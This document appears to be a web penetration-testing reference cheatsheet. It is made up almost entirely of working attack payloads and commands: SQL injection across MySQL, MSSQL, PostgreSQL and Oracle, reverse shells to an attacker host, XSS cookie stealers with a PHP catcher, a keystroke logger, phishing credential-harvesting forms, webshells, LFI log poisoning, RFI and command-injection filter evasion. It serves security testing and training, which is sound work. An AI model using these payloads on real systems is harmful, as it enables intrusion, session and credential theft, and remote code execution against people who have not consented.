π‘οΈ Methodology Checklist
- Fingerprint: server, framework, CMS, WAF
- Directory/file brute-force with ffuf (no extension, then .php/.txt/.bak)
- Test all input parameters: SQLi, XSS, command injection, LFI
- Check file upload: type restriction bypass, webshell
- Login brute-force (check lockout first)
- SQLMap on confirmed injectable params
- Check HTTP methods (verb tampering, PUT/DELETE)
- Review JS source for API keys, endpoints, hidden params
π― Operational Context
Use when: Web application assessment β master reference for all web attack commands organized by vulnerability type.
Think Dumber First: Fingerprint first (whatweb, wappalyzer). Then directory brute (ffuf). Then vulnerability-specific tests based on tech stack. Donβt run SQLMap on a static HTML site or XSS tests on an API.
Skip when: N/A β master reference document.
β‘ Tactical Cheatsheet
Recon & Fingerprinting
| Command | Tactical Outcome |
|---|---|
curl -I http://[TARGET_IP] | Banner grab β Server, CMS headers |
whatweb http://[TARGET_IP] | Full technology stack fingerprint |
wafw00f [DOMAIN] | WAF detection |
nikto -h http://[TARGET_IP] | Web vuln scan |
ffuf -u http://[TARGET]/FUZZ -w [WORDLIST] -mc 200,301 -o dirs.json | Directory brute-force |
ffuf -u http://[TARGET]/FUZZ -w [WORDLIST] -e .php,.txt,.html,.bak,.zip | File + extension fuzzing |
ffuf -u http://[TARGET_IP] -H "Host: FUZZ.[DOMAIN]" -w [WORDLIST] -fs [SIZE] | VHost fuzzing |
gobuster dir -u http://[TARGET] -w [WORDLIST] -x php,txt,html | Directory + file busting |
Default Credentials
| Application | Path | Default Credentials |
|---|---|---|
| WordPress | /wp-login.php | admin / password |
| Joomla | /administrator/ | admin / admin |
| Tomcat Manager | /manager/html | tomcat/s3cret, admin/admin |
| Jenkins | /login | admin / (init password in /var/jenkins_home/secrets/) |
| Splunk | :8000 | admin / changeme |
| PRTG | :80 | prtgadmin / prtgadmin |
SQL Injection
| Command | Tactical Outcome |
|---|---|
' OR 1=1-- - | Basic SQLi auth bypass |
sqlmap -u "http://[TARGET]/page?id=1" --dbs | Auto-detect + list databases |
sqlmap -u [URL] -D [DB] -T [TABLE] --dump | Dump specific table |
sqlmap -r request.txt --batch --level 5 --risk 3 | SQLMap from Burp request file |
sqlmap -u [URL] --os-shell | Interactive OS shell via SQLi |
sqlmap -u [URL] --tamper=space2comment,randomcase | WAF bypass tampers |
' UNION SELECT NULL,NULL,NULL-- - | Column count detection |
' UNION SELECT table_name,NULL FROM information_schema.tables-- - | Table enumeration |
XSS & Client-Side
| Command | Tactical Outcome |
|---|---|
<script>alert(1)</script> | Basic reflected XSS test |
<img src=x onerror=alert(1)> | Attribute context bypass |
"><svg onload=alert(1)> | Tag break XSS |
<script>document.location='http://[LHOST]/c?='+document.cookie</script> | Session hijack via stored XSS |
<script>fetch('http://[LHOST]/?k='+btoa(document.cookie))</script> | Exfil cookie via fetch |
LFI / Path Traversal
| Command | Tactical Outcome |
|---|---|
?file=../../../../etc/passwd | Basic LFI traversal |
?file=....//....//etc/passwd | Filter bypass (double-slash) |
?file=php://filter/convert.base64-encode/resource=/etc/passwd | PHP filter wrapper β read any file |
?file=data://text/plain;base64,[BASE64_PHP] | PHP data wrapper for RCE |
?file=php://input + POST PHP code | PHP input wrapper for RCE |
?file=/var/log/apache2/access.log | Log poisoning target (after UA injection) |
Command Injection
| Command | Tactical Outcome |
|---|---|
; id / && id / | id | Basic command injection separators |
$(id) / `id` | Subshell injection |
%0a id | Newline injection (URL-encoded) |
${IFS}id | Whitespace bypass using IFS |
w"ho"a"mi" | Quote-breaking filter bypass |
; bash -i >& /dev/tcp/[LHOST]/[LPORT] 0>&1 | Reverse shell via command injection |
File Upload
| Command | Tactical Outcome |
|---|---|
shell.php β shell.php.jpg | Double extension bypass |
shell.pHP / shell.php5 / shell.phtml | Case/alternate extension bypass |
Change Content-Type: image/jpeg (keep .php) | MIME type bypass in Burp |
GIF89a; <?php system($_GET['c']); ?> | Magic bytes + PHP content |
<?php system($_GET['c']); ?> | Minimal PHP webshell |
msfvenom -p php/meterpreter_reverse_tcp LHOST=[LHOST] LPORT=[LPORT] -f raw -o shell.php | MSF PHP shell |
Login Brute-Force
| Command | Tactical Outcome |
|---|---|
hydra -l [USER] -P [WORDLIST] http-post-form "[PATH]:[PARAMS]:[FAIL_MSG]" [TARGET] | HTTP POST brute-force |
hydra -L users.txt -P pass.txt ssh://[TARGET] | SSH brute-force |
medusa -h [TARGET] -u [USER] -P [WORDLIST] -M http | Medusa HTTP brute |
ffuf -u http://[TARGET]/login -X POST -d "user=FUZZ&pass=PASS" -w users.txt | Username enumeration via ffuf |
HTTP Verb Tampering & IDOR
| Command | Tactical Outcome |
|---|---|
curl -X OPTIONS http://[TARGET]/endpoint | Check allowed methods |
curl -X PUT http://[TARGET]/endpoint -d "data" | PUT request test |
-H "X-HTTP-Method-Override: DELETE" | Method override header |
Change id=100 β id=101 in Burp | IDOR β increment object reference |
| Decode base64 ID β modify β re-encode | IDOR β encoded reference bypass |
π¬ Deep Dive & Workflow
SQL Injection
The injection logic is universal, but the syntax is DBMS-specific β the same flaw needs different functions and escalation primitives per backend. Fingerprint first, then jump to the matching subsection. Wrong-DBMS syntax fails silently and burns time.
Step 0 β Fingerprint the DBMS
Drop a version probe into a reflected UNION column, or read the error text the app leaks:
| DBMS | Version probe | Tell-tale error |
|---|---|---|
| MySQL / MariaDB | @@version / version() | You have an error in your SQL syntax |
| MSSQL | @@version | Unclosed quotation mark / Incorrect syntax near |
| PostgreSQL | version() | ERROR: ... at or near |
| Oracle | banner FROM v$version | ORA-01756 / ORA-00933 |
No visible output? Use the time-delay probe from the matrix β a hang confirms both injection and the backend.
Cross-DBMS Function Matrix
The single most useful artifact β translate any payload between backends at a glance.
| Task | MySQL / MariaDB | MSSQL | PostgreSQL | Oracle |
|---|---|---|---|---|
| Version | @@version | @@version | version() | banner FROM v$version |
| Current user | user() | SYSTEM_USER | current_user | user FROM dual |
| Current DB | database() | DB_NAME() | current_database() | global_name FROM global_name |
| List DBs | information_schema.schemata | sys.databases | pg_database | DISTINCT owner FROM all_tables |
| List tables | information_schema.tables | [DB]..sysobjects WHERE xtype='U' | information_schema.tables | all_tables |
| List columns | information_schema.columns | syscolumns WHERE id=OBJECT_ID('[T]') | information_schema.columns | all_tab_columns |
| Concat | CONCAT(a,b) | a+b | a||b | a||b |
| Comment | -- - / # / /* */ | -- / /* */ | -- / /* */ | -- / /* */ |
| Time delay | SLEEP(5) | WAITFOR DELAY '0:0:5' | pg_sleep(5) | dbms_pipe.receive_message(('a'),5) |
| Stacked queries | β (via mysqli/PDO) | β | β | β |
SELECT w/o table | OK | OK | OK | needs FROM dual |
Quirk: in MySQL
||means logical OR (unlessPIPES_AS_CONCATmode), so concatenate withCONCAT()there β not||.
MySQL / MariaDB
MySQL quirks: no stacked queries through mysqli/PDO (one statement per call), comments are -- - (the trailing space matters), #, or /* */, and || means OR by default (not string concat) unless PIPES_AS_CONCAT is set.
-- Base navigation (interactive console β for shaping INFORMATION_SCHEMA queries)
SHOW DATABASES; -- list all schemas
USE [DB]; -- switch to a schema
SHOW TABLES; -- list tables in current schema
DESCRIBE [T]; -- show columns/types of a table
SELECT * FROM [T] ORDER BY 2; -- order rows by 2nd column
SELECT * FROM [T] LIMIT 1 OFFSET 2; -- skip 2 rows, take 1 (paginate)
SELECT * FROM [T] WHERE name LIKE 'a%'; -- filter: names starting with 'a'
-- Operator precedence (high -> low): / * % > + - > = != < > <= >= > NOT > AND > OR-- UNION enumeration: confirm column count
cn' ORDER BY 4-- - -- valid; ORDER BY 5 errors -> 4 cols
cn' UNION SELECT 1,2,3,4-- - -- confirm 4 cols + find reflected column (2)
-- Fingerprint via the reflected column (position 2)
cn' UNION SELECT 1,@@version,3,4-- - -- DB version (MySQL vs MariaDB)
cn' UNION SELECT 1,user(),3,4-- - -- current DB user
cn' UNION SELECT 1,database(),3,4-- - -- current schema
-- List schemas
cn' UNION SELECT 1,schema_name,3,4 FROM information_schema.schemata-- - -- all databases
-- List tables in a target schema
cn' UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema='[DB]'-- - -- tables in [DB]
-- List columns of a target table
cn' UNION SELECT 1,column_name,3,4 FROM information_schema.columns WHERE table_name='[T]'-- - -- columns in [T]
-- Dump rows from another DB via the dot operator
cn' UNION SELECT 1,CONCAT(username,0x3a,password),3,4 FROM [DB].[T]-- - -- dump user:pass from [DB].[T]-- Privilege, file read/write & RCE primitives
cn' UNION SELECT 1,super_priv,3,4 FROM mysql.user WHERE user='root'-- - -- 'Y' = superuser (admin)
cn' UNION SELECT 1,variable_value,3,4 FROM information_schema.global_variables WHERE variable_name='secure_file_priv'-- - -- empty = read/write anywhere
-- Read a file (needs FILE priv + secure_file_priv allows the path)
cn' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3,4-- - -- read arbitrary file
-- Write a file / drop a PHP webshell into the web root
cn' UNION SELECT 1,'data',3,4 INTO OUTFILE '/tmp/out.txt'-- - -- write query output to disk
cn' UNION SELECT 1,'<?php system($_REQUEST[0]); ?>',3,4 INTO OUTFILE '/var/www/html/shell.php'-- - -- webshell -> /shell.php?0=id-- Blind: boolean (compare TRUE vs FALSE responses) + time-based
cn' AND 1=1-- - -- TRUE -> normal/positive response
cn' AND 1=2-- - -- FALSE -> changed/empty response
cn' AND IF(1=1,SLEEP(5),0)-- - -- delays ~5s if condition TRUE
cn' AND IF((SELECT SUBSTRING(@@version,1,1))='1',SLEEP(5),0)-- - -- exfil one char via timingMSSQL (SQL Server)
MSSQL supports stacked queries (;), uses -- for comments, concatenates strings with +, and can achieve RCE via xp_cmdshell.
-- === UNION enumeration ===
cn' UNION SELECT 1,@@version,3,4-- - -- version + reflection fingerprint
cn' UNION SELECT 1,SYSTEM_USER,3,4-- - -- current login
cn' UNION SELECT 1,DB_NAME(),3,4-- - -- current database
cn' UNION SELECT 1,name,3,4 FROM sys.databases-- - -- list databases
cn' UNION SELECT 1,name,3,4 FROM [DB]..sysobjects WHERE xtype='U'-- - -- list user tables
cn' UNION SELECT 1,name,3,4 FROM syscolumns WHERE id=OBJECT_ID('[T]')-- - -- list columns of [T]
cn' UNION SELECT 1,col_a+':'+col_b,3,4 FROM [DB]..[T]-- - -- dump rows (concat with +)-- === Stacked-query RCE (xp_cmdshell) ===
cn'; EXEC sp_configure 'show advanced options',1; RECONFIGURE;-- - -- expose advanced options
cn'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;-- - -- enable xp_cmdshell
cn'; EXEC xp_cmdshell 'whoami';-- - -- run OS command
cn'; EXEC xp_cmdshell 'powershell -enc <BASE64_REV_SHELL>';-- - -- reverse shell to [LHOST]:[LPORT]
-- === Out-of-band / NetNTLM theft + file read ===
cn'; EXEC master..xp_dirtree '\\[LHOST]\share';-- - -- coerce SMB auth -> capture hash w/ Responder
cn' UNION SELECT 1,BulkColumn,3,4 FROM OPENROWSET(BULK 'C:\Windows\win.ini',SINGLE_CLOB) AS x-- - -- read local file-- === Blind ===
cn' AND 1=1-- - -- boolean TRUE (page normal)
cn' AND 1=2-- - -- boolean FALSE (page differs)
cn'; IF(1=1) WAITFOR DELAY '0:0:5'-- - -- conditional time-based (stacked)
cn' WAITFOR DELAY '0:0:5'-- - -- time-based (inline)PostgreSQL
Postgres supports stacked queries (;), uses -- for comments, concatenates strings with ||, allows RCE via COPY ... FROM/TO PROGRAM, and file reads via pg_read_file().
-- == Fingerprint / reflection + enumeration ==
cn' UNION SELECT 1,version(),3,4-- - -- DBMS version + confirm column 2 reflects
cn' UNION SELECT 1,current_user,3,4-- - -- current DB user
cn' UNION SELECT 1,current_database(),3,4-- - -- current database name
cn' UNION SELECT 1,datname,3,4 FROM pg_database-- - -- list all databases
cn' UNION SELECT 1,table_name,3,4 FROM information_schema.tables-- - -- list all tables
cn' UNION SELECT 1,column_name,3,4 FROM information_schema.columns WHERE table_name='[T]'-- - -- list columns of [T]
cn' UNION SELECT 1,col2,3,4 FROM [DB].[T]-- - -- dump rows from target table-- == File read + RCE (stacked queries, superuser required) ==
cn' UNION SELECT 1,pg_read_file('/etc/passwd',0,1000),3,4-- - -- read first 1000 bytes of a file
cn'; COPY (SELECT '') TO PROGRAM 'id'-- - -- blind command exec (no output returned)
cn'; CREATE TABLE t(o text); COPY t FROM PROGRAM 'id'-- - -- exec and capture stdout into table t
cn' UNION SELECT 1,o,3,4 FROM t-- - -- read captured command output back
cn'; COPY (SELECT '') TO PROGRAM 'bash -c ''bash -i >& /dev/tcp/[LHOST]/[LPORT] 0>&1'''-- - -- reverse shell to [LHOST]:[LPORT]-- == Blind: boolean + time-based ==
cn' AND 1=1-- - -- TRUE -> page renders normally
cn' AND 1=2-- - -- FALSE -> page differs / no results
cn' AND 1=(SELECT 1 FROM pg_sleep(5))-- - -- unconditional 5s delay (confirm injection)
cn' AND (SELECT 1 FROM pg_sleep(5) WHERE substr(current_user,1,1)='p')-- - -- conditional delay -> exfil data char-by-charOracle
Oracle is strict: every SELECT needs a FROM clause (use FROM dual for table-less selects), UNION column counts must match exactly, there are no stacked queries, and strings concatenate with ||.
-- UNION enumeration (2-col, NULL padding for strict type/count match)
cn' UNION SELECT banner,NULL FROM v$version-- - -- version + reflection fingerprint
cn' UNION SELECT user,NULL FROM dual-- - -- current user (table-less, needs FROM dual)
cn' UNION SELECT DISTINCT owner,NULL FROM all_tables-- - -- list schemas / table owners
cn' UNION SELECT table_name,NULL FROM all_tables WHERE owner='[DB]'-- - -- list tables in [DB]
cn' UNION SELECT column_name,NULL FROM all_tab_columns WHERE table_name='[T]'-- - -- list columns of [T]
cn' UNION SELECT username||':'||password,NULL FROM [T]-- - -- dump rows (|| concat)-- Blind: boolean + time-based (dbms_pipe waits N secs on a non-existent pipe)
cn' AND 1=1-- - -- TRUE -> page renders normally
cn' AND 1=2-- - -- FALSE -> page differs
cn' AND 1=(SELECT dbms_pipe.receive_message(('a'),5) FROM dual)-- - -- ~5s delay if injectable
cn' AND 1=CASE WHEN (1=1) THEN dbms_pipe.receive_message(('a'),5) ELSE 1 END-- - -- conditional delay on TRUE
-- Out-of-band (DNS/HTTP exfil; needs privileges, version-dependent)
cn' AND 1=(SELECT UTL_INADDR.get_host_address('[LHOST]') FROM dual)-- - -- DNS lookup to [LHOST] (legacy)
cn' AND 1=(SELECT UTL_HTTP.request('http://[LHOST]:[LPORT]/') FROM dual)-- - -- HTTP callback to [LHOST]:[LPORT]Manual Enumeration Workflow
-- 1. Detect: append ' to each param -> error or behaviour change = injectable
-- 2. Fingerprint: identify the DBMS (Step 0), then pick the matching column from the matrix
-- 3. Columns: ORDER BY 1-- - (increment to error) OR UNION SELECT NULL,NULL,...-- -
-- 4. Reflection: UNION SELECT 'a',NULL,...-- - (cycle positions to find a printable column)
-- 5. Enumerate: current DB -> schemas -> tables -> columns (matrix syntax for the backend)
-- 6. Dump: pull target rows; CONCAT/|| multiple columns into one reflection point
-- 7. Escalate: file read/write, xp_cmdshell, COPY FROM PROGRAM (privilege-dependent)XSS & Client-Side
Test every input field and URL parameter with a PoC, identify the type (reflected / stored / DOM) and the reflection context, then escalate from alert() to session hijacking, phishing, or defacement. Use alert(window.origin) as proof β it confirms the executing domain and distinguishes an iframe from the main app.
XSS Types
| Type | Persistent? | Server involved? | Trigger |
|---|---|---|---|
| Stored | Yes | Yes | Any visitor loads the poisoned page |
| Reflected | No | Yes | Victim clicks a crafted URL |
| DOM-based | No | No | URL hash/fragment processed client-side |
Identify: inject, then navigate away β if it persists β Stored; if it only works via a link you send β Reflected; if nothing appears in Burp HTTP history β DOM-based (the # fragment never reaches the server).
PoC Payloads
<script>alert(window.origin)</script> <!-- basic PoC; window.origin confirms domain + iframe context -->
<script>print()</script> <!-- alternative when alert() is WAF-blocked -->
<plaintext> <!-- dumps raw page source; confirms HTML injection even if JS is blocked -->Context-Specific Injection Points
The same input needs a different breakout depending on where it reflects:
<!-- Standard / HTML body -->
<script>alert(window.origin)</script>
<!-- Inside an HTML attribute: <input value="HERE"> -->
"><img src=x onerror=alert(window.origin)>
<!-- Inside a <script> block: var x='HERE'; -->
'; alert(window.origin); //
<!-- Inside a URL: href="HERE" -->
javascript:alert(window.origin)
<!-- innerHTML sink strips <script> -> use an event handler -->
<img src="" onerror=alert(window.origin)>
<svg/onload=alert(window.origin)>DOM-Based XSS
Source β sink data flow in client-side JS; the payload (often after #) never reaches the server, so it leaves no Burp/HTTP-log trace.
// Source: reads from the URL
var pos = document.URL.indexOf("task=");
var task = document.URL.substring(pos + 5, document.URL.length);
// Sink: innerHTML strips <script> but still runs onerror
document.getElementById("todo").innerHTML = "<b>Next:</b> " + decodeURIComponent(task);- Hash payload:
http://[TARGET]/page.html#task=<img src='' onerror=alert(window.origin)> - Dangerous sinks:
innerHTML,outerHTML,document.write(),document.writeln(), jQueryhtml(),append(),prepend() - Inspect the rendered source (F12 Inspector), not the raw source (
Ctrl+U).
Filter / WAF Bypass
<img src=x onerror=alert(window.origin)> <!-- script tags filtered -> event handler -->
<body onload=alert(window.origin)> <!-- alternative event handler -->
<details open ontoggle=alert(window.origin)> <!-- alternative event handler -->
<svg/onload=alert(1)> <!-- minimal SVG bypass -->
<HtMl%09onPoIntERENTER+=+confirm()> <!-- case variation + %09 (tab) obfuscation -->Also try hex encoding and case variations. alert() blocked β confirm(1) / prompt(1) / console.log(1). Automated discovery: XSStrike (python xsstrike.py -u "http://[TARGET]/index.php?task=test").
Cookie Theft / Session Hijacking
<script>document.location='http://[LHOST]/?c='+document.cookie</script> <!-- redirect-based steal -->
<script>new Image().src='http://[LHOST]/index.php?c='+document.cookie</script> <!-- invisible image, no redirect -->Listener: sudo php -S 0.0.0.0:80 (or sudo nc -lvnp 80 β creds land in the first GET line; sudo lsof -i :80 to free the port).
Hijack: F12 β Application β Cookies β replace your session value with the stolen one β load the restricted/admin area.
HttpOnly: document.cookie returns empty β canβt steal via JS β pivot to CSRF via XSS instead.
Blind XSS β Find the Field, Then Steal
For forms whose output you canβt see (support tickets, contact forms):
<!-- 1. Probe each field β the field name shows up in the callback URL -->
<script src="http://[LHOST]/fullname"></script>
<!-- 2. Final payload β load the hosted cookie stealer -->
<script src="http://[LHOST]/script.js"></script>script.js (cookie stealer):
new Image().src='http://[LHOST]/index.php?c=' + document.cookie;index.php (cookie catcher):
<?php
if (isset($_GET['c'])) {
$list = explode(";", $_GET['c']);
foreach ($list as $key => $value) {
$cookie = urldecode($value);
$file = fopen("cookies.txt", "a+");
fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
fclose($file);
}
}
?>Admin/review bots often run on a ~1β3 min cron β wait before assuming the payload failed.
Phishing β Credential Harvesting
document.write('<h3>Please login to continue</h3><form action="http://[LHOST]"><input name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" value="Login"></form>');document.getElementById('urlform').remove();A PHP catcher logs the creds, then redirects the victim back to the real site (header("Location: ...")). Delivery via reflected XSS: ?url='><script>[PAYLOAD]</script> β break out of the tag first ('> or ">), and URL-encode <β%3C >β%3E if a backend script submits the payload.
Defacement
<script>document.body.style.background="#141d2b"</script> <!-- change background -->
<script>document.getElementsByTagName('body')[0].innerHTML='<center><h1>PWNED</h1></center>'</script> <!-- replace full body -->Keylogger
<script>document.onkeypress = e => new Image().src='http://[LHOST]/?k='+e.key</script> <!-- onkeypress listener exfils each keystroke -->LFI / Path Traversal
Found a file-inclusion parameter β read sensitive files via directory traversal, then escalate to RCE based on what the server allows. Think dumber first: ?language=/etc/passwd, then ../../../../etc/passwd, then layer bypasses, then pick an RCE primitive. Whether RCE is even possible depends on the inclusion function (below).
Function Capability Matrix
Read-only function β source disclosure only (harvest creds, then pivot). Execute-capable β RCE possible.
| Language | Function | Read | Execute | Remote URL |
|---|---|---|---|---|
| PHP | include() / require() | β | β | include only |
| PHP | file_get_contents() | β | β | β |
| NodeJS | fs.readFile() / sendFile() | β | β | β |
| NodeJS | res.render() | β | β | β |
| Java | include | β | β | β |
| Java | import | β | β | β |
| .NET | Response.WriteFile() | β | β | β |
| .NET | include | β | β | β |
Traversal & Filter Bypasses
?language=/etc/passwd # absolute path (no prefix prepended)
?language=../../../../../../../../etc/passwd # relative, overkill depth (extra ../ beyond root is safe)
?language=/../../../etc/passwd # bypass filename prefix, e.g. include("lang_".$x)
?language=../../../../etc/passwd%00 # null byte β drop forced .php (PHP < 5.5)
?language=....//....//....//etc/passwd # non-recursive ../ strip -> re-forms
?language=%2e%2e%2f%2e%2e%2fetc%2fpasswd # URL-encode . and / (blacklist bypass)
?language=..%252f..%252fetc%252fpasswd # double URL-encode (%252e / %252f)
?language=./languages/../../../../etc/passwd # approved-path regex bypass (prefix, then traverse out)
?language=languages/....//....//....//etc/passwd # chained: approved path + non-recursive strip
?language=..\..\..\Windows\system32\drivers\etc\hosts # Windows target (try both / and \)
# Auto-fuzz bypass payloads:
ffuf -w LFI-Jhaddix.txt:FUZZ -u 'http://[TARGET]/index.php?language=FUZZ' -fs [SIZE]Traversal Strategy
1. Absolute path: ?language=/etc/passwd
2. Relative (overkill): ?language=../../../../../../etc/passwd
3. Error shows a prepended string -> bypass prefix: ?language=/../../../etc/passwd
4. Error shows appended .php -> PHP < 5.5: %00 ; PHP 5.5+: use filter wrappersPHP Filter β Source Disclosure
?language=php://filter/read=convert.base64-encode/resource=config # read config.php source as base64 (server auto-appends .php)
?language=php://filter/read=convert.base64-encode/resource=config.php # if server does NOT auto-append .php
echo 'PD9waHAK...' | base64 -d # decode on KaliView raw source (Ctrl+U) to copy the full base64 β browsers truncate long text. Source reveals DB creds and further include/require references; follow them iteratively.
LFI β RCE Decision Tree
Have allow_url_include = On?
βββ Yes -> data:// (GET) or php://input (POST) wrapper
βββ No -> Can you upload files?
βββ Yes -> Upload + include (GIF magic bytes, zip://, phar://)
βββ No -> Can you read server logs?
βββ Apache/Nginx readable -> Log Poisoning
βββ PHP session param stored -> Session Poisoning
βββ SSH accessible -> SSH log poisoning
βββ Windows target + RFI possible -> SMB RFI (bypasses allow_url_include)PHP Wrapper RCE (require allow_url_include)
# Verify allow_url_include first:
curl -s "http://[TARGET]/index.php?language=php://filter/read=convert.base64-encode/resource=/etc/php/7.4/apache2/php.ini" | base64 -d | grep allow_url_include
# data:// (GET)
echo '<?php system($_GET["cmd"]); ?>' | base64 # -> PD9waHAg... then URL-encode + -> %2B and = -> %3D
curl -s 'http://[TARGET]/index.php?language=data://text/plain;base64,[B64]&cmd=id'
# php://input (POST)
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://[TARGET]/index.php?language=php://input&cmd=id"
# expect:// (requires expect extension installed)
curl -s "http://[TARGET]/index.php?language=expect://id"Log Poisoning
# 1. Poison the log via User-Agent (Apache writes it on every request)
echo -n "User-Agent: <?php system(\$_GET['cmd']); ?>" > Poison.txt
curl -s "http://[TARGET]/index.php" -H @Poison.txt
# 2. Include + execute (SEND TWICE β Apache writes the entry before you can include it)
curl "http://[TARGET]/index.php?language=/var/log/apache2/access.log&cmd=whoami"Apache Linux: /var/log/apache2/access.log
Nginx Linux: /var/log/nginx/access.log
Apache Win: C:\xampp\apache\logs\access.log
SSH log: /var/log/sshd.log (poison via SSH username: <?php system($_GET['cmd']); ?>)
FTP log: /var/log/vsftpd.logAny typo in the PHP payload permanently breaks the log β all future LFI attempts 500. Reset the target.
Session Poisoning
# Session file path: /var/lib/php/sessions/sess_<PHPSESSID>
# 1. Inject a URL-encoded PHP shell into a session-stored param
http://[TARGET]/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E
# 2. Execute (re-poison before each command β the session file overwrites)
http://[TARGET]/index.php?language=/var/lib/php/sessions/sess_<COOKIE>&cmd=idUpload + LFI
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif # GIF magic bytes; include ?language=./uploads/shell.gif&cmd=id
zip shell.jpg shell.php # ZIP wrapper; include ?language=zip://./uploads/shell.jpg%23shell.php&cmd=id
# PHAR: build phar, rename -> .jpg, upload; include ?language=phar://./uploads/shell.jpg%2Fshell.txt&cmd=idRemote File Inclusion (RFI)
echo '<?php system($_GET["cmd"]); ?>' > shell.php && sudo python3 -m http.server [LPORT] # host the shell over HTTP
?language=http://[LHOST]:[LPORT]/shell.php&cmd=id # RFI via HTTP
?language=ftp://[LHOST]/shell.php&cmd=id # RFI via FTP (host: sudo python -m pyftpdlib -p 21)
?language=\\[LHOST]\share\shell.php&cmd=whoami # RFI via SMB (Windows β bypasses allow_url_include)High-Value Target Files
/etc/passwd # user list, confirm traversal
/etc/hosts # internal network mapping
/etc/crontab # scheduled tasks
/var/www/html/config.php # DB credentials (read via PHP filter)
/etc/php/7.4/apache2/php.ini # PHP config β check allow_url_include
/proc/self/environ # process env vars (inject PHP via User-Agent)Second-Order LFI
Register a username like ../../../etc/passwd; the app later uses it to load an avatar:
/images/avatars/../../../etc/passwd -> /etc/passwdCommand Injection
User input reaches an OS command β inject a separator to run your own. Think dumber first: drop each separator (; && | $() backtick) into the field; ;id in a ping-style input often works first try. Output reflected β classic; no output β blind (time/OOB). Always re-test in Burp Repeater β client-side JS validation is no security. Which operators work depends on the shell/OS (below).
Injection Operators (OS-dependent)
| Operator | Linux | Windows CMD | PowerShell | Notes |
|---|---|---|---|---|
; | β | β | β | Not supported in CMD |
\n (%0a) | β | β | β | URL-encode newline |
& | β | β | β | Both commands run, both outputs shown |
| | β | β | β | Only second output shown |
&& | β | β | β | Second runs only if first succeeds |
|| | β | β | β | Second runs only if first fails |
$(cmd) | β | β | β | Inline subshell |
`cmd` | β | β | β | Backtick subshell |
Initial Tests & Detection
127.0.0.1; whoami # semicolon (Linux) β usually works first
127.0.0.1%0a whoami # URL-encoded newline (Linux alt separator)
127.0.0.1&& whoami # AND β runs only if first succeeds
127.0.0.1| whoami # pipe β only 2nd command's output shown
127.0.0.1|| whoami # OR β runs if first fails (use 127.0.0.1x|| whoami)
$(whoami) `whoami` # inline subshell β inject into strings127.0.0.1; whoami
βββ output in response β classic (in-band) injection
βββ no output β blind injection:
βββ time: 127.0.0.1; sleep 5
βββ DNS: 127.0.0.1; nslookup [LHOST]
βββ HTTP: 127.0.0.1; curl http://[LHOST]/$(whoami)Safe enum β Linux: whoami; id; hostname; uname -a; cat /etc/passwd Β· Windows: whoami & ipconfig & systeminfo.
Front-end bypass: capture in Burp β Repeater (Ctrl+R) β add operator + command β commonly swap ; for %0a.
Filter Evasion β Spaces
| Bypass | Works on | Notes |
|---|---|---|
%09 (tab) | Linux + Windows | URL-encode in browser; raw in Burp |
${IFS} | Linux | Bash internal field separator (space/tab/newline) |
{cmd,arg} | Linux | Brace expansion β no spaces at all |
< redirection | Linux | cat<file.txt β read-only contexts |
%20 | Depends | May be stripped by the filter itself |
127.0.0.1%09whoami # tab instead of space
127.0.0.1${IFS}whoami # ${IFS} expands to whitespace
{ls,-la,/tmp} # brace expansion β no spaces needed
cat<flag.txt # < redirection as a space substitute
cat${IFS}</etc/passwd # combine IFS + redirectionFilter Evasion β Blacklisted Characters (slicing)
echo ${PATH:0:1} # β / (first char of PATH)
echo ${LS_COLORS:10:1} # β ; (position varies β test first)
127.0.0.1;cat${IFS}${PATH:0:1}etc${PATH:0:1}passwd # /etc/passwd without typing /Filter Evasion β Blacklisted Commands (obfuscation)
w'h'o'a'm'i # quote insertion β parser strips quotes, runs whoami
w"h"o"a"m"i # double-quote insertion
\w\h\o\a\m\i # backslash insertion (Linux only)
who$@ami # $@ expands to nothing β whoami
$(printf '\x77\x68\x6f\x61\x6d\x69') # hex-encoded 'whoami'
$(tr '[A-Z]' '[a-z]'<<<'WHOAMI') # case inversion: uppercase cmd β lowercase exec
$(rev<<<'imaohw') # reverse string β whoami
echo 'd2hvYW1p' | base64 -d | bash # base64 execute (whoami encoded)
bash<<<$(base64 -d<<<d2hvYW1p) # base64 execute without a pipeAutomated Obfuscation
bashfuscator -c 'cat /etc/passwd' # Linux automated obfuscation
bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling -q # minimal-size outputInvoke-DOSfuscation # Windows CMD: SET COMMAND <cmd> β ENCODING β 1Evasion Decision Tree
Space blocked?
βββ Linux β ${IFS}, %09, {cmd,arg}, <
βββ Windows β %09, quoted strings
/ or \ blocked?
βββ ${PATH:0:1} for / ; slice a var containing the needed char
Letters/keywords blocked?
βββ Quote insertion: c'a't
βββ Case inversion: tr [A-Z][a-z]<<<CMD
βββ Reverse: rev<<<dmaohw
βββ Base64: bash<<<$(base64 -d<<<[encoded])
All else fails?
βββ Bashfuscator (Linux)
βββ Invoke-DOSfuscation (Windows)File Upload Attacks
Upload functionality β bypass extension / MIME / content checks to drop a web shell, then trigger it. Think dumber first: identify whatβs accepted, then try .phtml/.php5/.phar, change Content-Type to image/jpeg, prepend GIF8 magic bytes β one bypass at a time. No execution path? Pivot the upload into an LFI/RFI chain or stored XSS (SVG / image metadata).
Web Shells & PoC
echo '<?php echo "Hello HTB";?>' > test.php # benign PoC β verify exec before deploying a shell
echo '<?php system($_REQUEST["cmd"]); ?>' > shell.php # minimal PHP web shell
msfvenom -p php/reverse_php LHOST=[LHOST] LPORT=[LPORT] -f raw > reverse.php # MSFVenom PHP reverse shell
curl -s "http://[TARGET]/uploads/shell.php?cmd=id" # trigger the uploaded shell
nc -lvnp [LPORT] # catch the reverse shellUpload Attack Decision Tree
No filter at all?
βββ Upload shell.php directly β trigger execution
Client-side JS only?
βββ Rename to .jpg, intercept in Burp, change filename back to .php
Blacklist filter?
βββ Fuzz with web-extensions.txt via Intruder (uncheck URL-encode!)
βββ Try: .phtml, .php5, .php7, .php8, .phar, .phps
Whitelist filter (only .jpg/.png allowed)?
βββ Flawed regex (no $ anchor) β shell.jpg.php
